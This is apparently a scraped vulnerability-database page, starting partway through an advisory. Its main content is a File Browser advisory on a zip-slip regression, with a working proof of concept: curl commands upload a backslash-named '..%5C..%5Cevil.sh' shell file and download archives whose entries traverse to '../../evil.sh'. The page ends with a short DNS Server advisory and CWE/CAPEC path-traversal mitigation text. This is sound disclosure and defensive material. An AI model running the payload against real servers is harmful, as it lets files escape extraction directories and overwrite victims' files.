A backslash is a valid byte in a Linux filename, so ..\..\evil.sh is a single regular file inside the user's scope, it does not traverse on the server and passes the scope guard. resourcePostHandler derives the filename from r.URL.Path and cleans it with path.Clean("/" + ...), which only treats / as a separator; the URL-encoded segment ..%5C..%5Cevil.sh contains no /, so cleaning leaves it intact and the file is written verbatim. This is the "Secondary Mitigation" the parent advisory recommended but that was never implemented; backslash-containing filenames are still accepted at creation time.

4. Every archive format shares the sink

NameInArchive is the single shared field for all algo values (zip, tar, targz, …), so the traversal entry appears identically in every supported archive type.

PoC

Tested against filebrowser/filebrowser:v2.63.15.

Attack Vector: plant a backslash-named file via upload, then download the folder as an archive:

#1. Create a dir in /tmp and start a fresh v2.63.15 container
mkdir -p /tmp/filebrowser-test/srv
docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4
B=http://localhost:8090

#2. Log in (admin here, but any account with Create permission works)
AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
T=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}")

#3. Create the folder ziptest/
curl -s -X POST "$B/api/resources/ziptest/" -H "X-Auth: $T" -o /dev/null

#4. Upload one file whose name contains backslashes (a single legal Linux filename inside scope; does not traverse on the server)
curl -s -X POST "$B/api/resources/ziptest/..%5C..%5Cevil.sh?override=true" -H "X-Auth: $T" \
     --data-binary $'#!/bin/sh\necho PWNED' -o /dev/null

#5. Download the folder as a zip and as a targz
curl -s "$B/api/raw/ziptest?algo=zip"   -H "X-Auth: $T" -o out.zip
curl -s "$B/api/raw/ziptest?algo=targz" -H "X-Auth: $T" -o out.tar.gz

#6. Inspect the archive entry names: the backslash->slash rewrite turned ..\..\evil.sh into ../../evil.sh
python3 -c "import zipfile;print('ZIP:',zipfile.ZipFile('out.zip').namelist())"
python3 -c "import tarfile;print('TAR:',[m.name for m in tarfile.open('out.tar.gz').getmembers()])"

Expected output (reproduced on a fresh filebrowser-test container, v2.63.15):

POST /api/resources/ziptest/..%5C..%5Cevil.sh?override=true  -> 200   (stored on disk as the single file  ..\..\evil.sh)
GET  /api/raw/ziptest?algo=zip                               -> 200   (zip bytes)
GET  /api/raw/ziptest?algo=targz                             -> 200   (gzip bytes)

The archive entry names, the value the reader should check, come back as the traversal path manufactured from the backslashes:

ZIP: ['../../evil.sh']
TAR: ['../../evil.sh']

Extracting either archive with a permissive extractor writes evil.sh two directories above the intended target, outside the extraction folder.

Impact

  • Zip-slip / tar-slip on the victim host: extracting a downloaded archive writes the planted file to an attacker-chosen relative path outside the extraction directory, enabling overwrite of configuration, startup scripts, or other files, potentially leading to code execution depending on what is overwritten.
  • Who is affected: any party who downloads a folder-as-archive containing the planted file, the folder owner, a collaborator, an admin performing a backup, or a recipient of a shared/public link to the folder.
  • Regression that widened the blast radius: before this rewrite, ..\..\evil.sh only traversed on Windows extractors; afterwards the entry is ../../evil.sh and traverses on Linux and macOS extractors as well.
  • Low attacker bar: only Create permission (the default for normal users) is needed to plant the file; the traversal triggers on the victim's extraction step.

Recommended Fix

The current ReplaceAll(nameInArchive, "\\", "/") is the root cause and should be removed: replacing a backslash with the POSIX separator / creates the very traversal it is meant to prevent. Neutralize backslashes instead, and reject traversal in archive entry names:

// http/raw.go, getFiles, replace the backslash->slash rewrite:
nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "_") // neutralize, do not separate

// And reject any residual traversal before adding the entry:
clean := path.Clean("/" + nameInArchive)
if strings.Contains(nameInArchive, "..") || clean != "/"+nameInArchive {
    return nil, fmt.Errorf("unsafe archive entry name: %q", nameInArchive)
}

Additionally, implement the "Secondary Mitigation" recommended in GHSA-gxjx-7m74-hcq8 but never shipped: reject or sanitize filenames containing backslashes at creation time in http/resource.go (resourcePostHandler), so backslash-containing names can never be stored in the first place. Defending only at archive-build time is fragile; defending at both creation and archive-build time closes the class.

Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.63.16"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.63.6"
            },
            {
              "fixed": "2.63.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62843"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T22:16:09Z",
    "nvd_published_at": "2026-07-15T16:16:52Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe fix for `GHSA-gxjx-7m74-hcq8` / `CVE-2026-54093` (shipped in v2.63.6) added a `strings.ReplaceAll(nameInArchive, \"\\\\\", \"/\")` step to the archive builder; this was the advisory\u0027s recommended \"Primary Fix.\" On a Linux host a backslash is a legal, non-separator filename character, so replacing it with the real POSIX separator `/` **manufactures** a `/`-delimited traversal sequence out of a benign single file name. The fix neutralized the Windows-only vector but reintroduced the same class of bug on POSIX systems, and the advisory\u0027s \"Secondary Mitigation\" (reject backslash filenames at creation time) was never implemented, so the malicious file can still be planted.\n\nA file named `..\\..\\evil.sh`, one ordinary regular file on a Linux server, is emitted into generated zip/tar archives as the entry `../../evil.sh`. Any user with upload (Create) permission can plant such a file; when anyone later downloads the containing folder as an archive and extracts it, the entry escapes the extraction directory on the victim\u0027s machine. The original advisory\u0027s own payload `..\\..\\..\\Windows\\System32\\evil.txt` now becomes `../../../Windows/System32/evil.txt`, which, unlike before the fix, also traverses on Linux and macOS extractors. The fix turned a Windows-only zip-slip into a cross-platform one.\n\n## Details\n\n**1. The archive builder rewrites backslashes into path separators (`http/raw.go:133`)**\n\n```go\nnameInArchive := strings.TrimPrefix(path, commonPath)\nnameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))\nnameInArchive = filepath.ToSlash(nameInArchive)        // line 127, host separator only\n// ... comment explaining the intent to strip Windows separators ...\nnameInArchive = strings.ReplaceAll(nameInArchive, \"\\\\\", \"/\")   // line 133, creates traversal\n```\n\n`filepath.ToSlash` only rewrites the host separator, so on Linux a stored backslash survives until this explicit `ReplaceAll`. Replacing `\\` with the real separator `/` produces traversal rather than neutralizing it.\n\n**2. The rewritten name is used verbatim as the archive entry path (`http/raw.go:137`)**\n\n```go\narchiveFiles = append(archiveFiles, archives.FileInfo{\n    FileInfo:      info,\n    NameInArchive: nameInArchive,   // no path.Clean, no \"..\" rejection\n    Open:          func() (fs.File, error) { return d.user.Fs.Open(path) },\n})\n```\n\nThe value is handed to the archiver, which writes the entry under exactly that name. There is no `path.Clean`, no rejection of `..` segments, and no check that the entry stays within the archive root.\n\n**3. The malicious name is plantable through normal upload (`http/resource.go`, `resourcePostHandler`)**\n\nA backslash is a valid byte in a Linux filename, so `..\\..\\evil.sh` is a single regular file inside the user\u0027s scope, it does not traverse on the server and passes the scope guard. `resourcePostHandler` derives the filename from `r.URL.Path` and cleans it with `path.Clean(\"/\" + ...)`, which only treats `/` as a separator; the URL-encoded segment `..%5C..%5Cevil.sh` contains no `/`, so cleaning leaves it intact and the file is written verbatim. This is the \"Secondary Mitigation\" the parent advisory recommended but that was never implemented; backslash-containing filenames are still accepted at creation time.\n\n**4. Every archive format shares the sink**\n\n`NameInArchive` is the single shared field for all `algo` values (`zip`, `tar`, `targz`, \u2026), so the traversal entry appears identically in every supported archive type.\n\n## PoC\n\nTested against `filebrowser/filebrowser:v2.63.15`.\n\n**Attack Vector: plant a backslash-named file via upload, then download the folder as an archive:**\n\n```bash\n#1. Create a dir in /tmp and start a fresh v2.63.15 container\nmkdir -p /tmp/filebrowser-test/srv\ndocker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 \u0026\u0026 sleep 4\nB=http://localhost:8090\n\n#2. Log in (admin here, but any account with Create permission works)\nAP=$(docker logs filebrowser-test 2\u003e\u00261 | grep -o \u0027password: .*\u0027 | awk \u0027{print $2}\u0027)\nT=$(curl -s -X POST $B/api/login -H \u0027Content-Type: application/json\u0027 -d \"{\\\"username\\\":\\\"admin\\\",\\\"password\\\":\\\"$AP\\\"}\")\n\n#3. Create the folder ziptest/\ncurl -s -X POST \"$B/api/resources/ziptest/\" -H \"X-Auth: $T\" -o /dev/null\n\n#4. Upload one file whose name contains backslashes (a single legal Linux filename inside scope; does not traverse on the server)\ncurl -s -X POST \"$B/api/resources/ziptest/..%5C..%5Cevil.sh?override=true\" -H \"X-Auth: $T\" \\\n     --data-binary $\u0027#!/bin/sh\\necho PWNED\u0027 -o /dev/null\n\n#5. Download the folder as a zip and as a targz\ncurl -s \"$B/api/raw/ziptest?algo=zip\"   -H \"X-Auth: $T\" -o out.zip\ncurl -s \"$B/api/raw/ziptest?algo=targz\" -H \"X-Auth: $T\" -o out.tar.gz\n\n#6. Inspect the archive entry names: the backslash-\u003eslash rewrite turned ..\\..\\evil.sh into ../../evil.sh\npython3 -c \"import zipfile;print(\u0027ZIP:\u0027,zipfile.ZipFile(\u0027out.zip\u0027).namelist())\"\npython3 -c \"import tarfile;print(\u0027TAR:\u0027,[m.name for m in tarfile.open(\u0027out.tar.gz\u0027).getmembers()])\"\n```\n\nExpected output (reproduced on a fresh `filebrowser-test` container, v2.63.15):\n\n```http\nPOST /api/resources/ziptest/..%5C..%5Cevil.sh?override=true  -\u003e 200   (stored on disk as the single file  ..\\..\\evil.sh)\nGET  /api/raw/ziptest?algo=zip                               -\u003e 200   (zip bytes)\nGET  /api/raw/ziptest?algo=targz                             -\u003e 200   (gzip bytes)\n```\n\nThe archive entry names, the value the reader should check, come back as the traversal path manufactured from the backslashes:\n\n```\nZIP: [\u0027../../evil.sh\u0027]\nTAR: [\u0027../../evil.sh\u0027]\n```\n\nExtracting either archive with a permissive extractor writes `evil.sh` two directories above the intended target, outside the extraction folder.\n\n## Impact\n\n- **Zip-slip / tar-slip on the victim host:** extracting a downloaded archive writes the planted file to an attacker-chosen relative path outside the extraction directory, enabling overwrite of configuration, startup scripts, or other files, potentially leading to code execution depending on what is overwritten.\n- **Who is affected:** any party who downloads a folder-as-archive containing the planted file, the folder owner, a collaborator, an admin performing a backup, or a recipient of a shared/public link to the folder.\n- **Regression that widened the blast radius:** before this rewrite, `..\\..\\evil.sh` only traversed on Windows extractors; afterwards the entry is `../../evil.sh` and traverses on Linux and macOS extractors as well.\n- **Low attacker bar:** only Create permission (the default for normal users) is needed to plant the file; the traversal triggers on the victim\u0027s extraction step.\n\n## Recommended Fix\n\nThe current `ReplaceAll(nameInArchive, \"\\\\\", \"/\")` is the root cause and should be removed: replacing a backslash with the POSIX separator `/` creates the very traversal it is meant to prevent. Neutralize backslashes instead, and reject traversal in archive entry names:\n\n```go\n// http/raw.go, getFiles, replace the backslash-\u003eslash rewrite:\nnameInArchive = strings.ReplaceAll(nameInArchive, \"\\\\\", \"_\") // neutralize, do not separate\n\n// And reject any residual traversal before adding the entry:\nclean := path.Clean(\"/\" + nameInArchive)\nif strings.Contains(nameInArchive, \"..\") || clean != \"/\"+nameInArchive {\n    return nil, fmt.Errorf(\"unsafe archive entry name: %q\", nameInArchive)\n}\n```\n\nAdditionally, implement the \"Secondary Mitigation\" recommended in `GHSA-gxjx-7m74-hcq8` but never shipped: reject or sanitize filenames containing backslashes at creation time in `http/resource.go` (`resourcePostHandler`), so backslash-containing names can never be stored in the first place. Defending only at archive-build time is fragile; defending at both creation and archive-build time closes the class.",
  "id": "GHSA-83xp-526h-j3ww",
  "modified": "2026-07-20T22:16:09Z",
  "published": "2026-07-20T22:16:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-83xp-526h-j3ww"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62843"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/commit/8503ba61ff51d48a7313896483d130eb6a5abfe0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.63.17"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)"
}

GHSA-8489-G9W2-CCX7

Vulnerability from github – Published: 2026-07-14 18:32 – Updated: 2026-07-14 18:32
VLAI
Details

Relative path traversal in DNS Server allows an authorized attacker to execute code over an adjacent network.

Severity
6.8 (Medium)
CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-50426"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-23"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T18:17:46Z",
    "severity": "MODERATE"
  },
  "details": "Relative path traversal in DNS Server allows an authorized attacker to execute code over an adjacent network.",
  "id": "GHSA-8489-g9w2-ccx7",
  "modified": "2026-07-14T18:32:22Z",
  "published": "2026-07-14T18:32:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50426"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-20.1
Implementation

Strategy: Input Validation

  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
  • Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP
Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

CAPEC-139: Relative Path Traversal

An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

← Back to the CWE list